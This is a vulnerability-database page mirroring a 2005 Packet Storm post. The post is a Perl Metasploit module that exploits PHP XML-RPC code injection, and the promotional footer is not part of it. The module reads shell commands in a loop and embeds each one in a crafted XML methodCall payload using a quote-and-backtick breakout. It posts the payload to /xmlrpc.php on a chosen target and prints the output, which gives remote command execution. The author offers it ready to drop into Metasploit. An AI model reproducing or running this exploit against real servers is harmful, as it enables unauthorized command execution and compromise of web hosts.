Lucene search
+L

xmlrpcGeneric.txt

🗓️ 13 Jul 2005 00:00:00Reported by peasantType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 18 Views

I wrote a basic xmlrpc exploit for metasploit allowing remote PHP XMLRPC exploit through a crafted XML payload

Code
`I got bored last night so I wrote a basic xmlrpc exploit for metasploit.  
Just drop it in your exploits/ and load it up.  
  
  
package Msf::Exploit::xmlrpc;  
use strict;  
use base 'Msf::Exploit';  
#use Msf::Socket::Tcp;  
  
my $advanced = { };  
  
#######################  
# Exploit Information #  
#######################  
my $info = {  
'Name' => 'XMLRPC',  
'Version' => '$Revision: 1.0 $',  
'Authors' => [ 'peasant' ],  
'Arch' => 'none',  
'OS' => 'none',  
'Priv' => 0,  
  
'UserOpts' => {  
'RHOST' => [1, 'ADDR', 'Target Address'],  
'RPORT' => [1, 'PORT', 'Target Port', 80 ],  
'RFILE' => [1, 'FILE', 'Target File', '/xmlrpc.php'],  
},  
  
'Description' => ['Remote PHP XMLRPC Exploit'],  
'Refs' => [ 'http://hypereffect.org/', ],  
};  
  
  
#########################  
# Create a new informer #  
#########################  
sub new {  
my $class = shift;  
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' =>  
$advanced}, @_);  
return($self);  
}  
  
  
########################  
# Main Exploit Routine #  
########################  
sub Exploit {  
my $self = shift;  
my ($line, $exploit);  
  
my $host = $self->GetVar('RHOST');  
my $port = $self->GetVar('RPORT');  
my $file = $self->GetVar('RFILE');  
  
# keep reading commands from stdin  
while(1) {  
print("user\@$host> ");  
my $cmd = <STDIN>;  
chomp($cmd);  
if($cmd eq "exit") {  
last;  
}  
  
# build our exploit string  
$exploit = "<?xml version=\"1.0\"?><methodCall>";  
$exploit .= "<methodName>test.method</methodName>";  
$exploit .= "<params><param><value><name>',''));";  
$exploit .= "echo  
`".$cmd."`;exit;/*</name></value></param></params></methodCall>";  
  
# create connection  
my $sock = Msf::Socket::Tcp->new(  
'PeerAddr' => $host,  
'PeerPort' => $port,  
);  
  
if ($sock->IsError) {  
$self->PrintLine('[*] Error creating socket: ' .  
$sock->GetError);  
return;  
}  
  
# send our exploit  
$line = "POST " . $file . " HTTP/1.1\n";  
$sock->Send($line);  
$line = "Host: " . $host . "\n";  
$sock->Send($line);  
$line = "Content-Type: text/xml\n";  
$sock->Send($line);  
$line = "Content-Length:" . length($exploit) . "\n\n";  
$sock->Send($line);  
$sock->Send($exploit);  
  
my $output = $sock->Recv(-1);  
print($output . "\n");  
$sock->Close();  
}  
  
return;  
}  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

13 Jul 2005 00:00Current
7.4High risk
Vulners AI Score7.4
18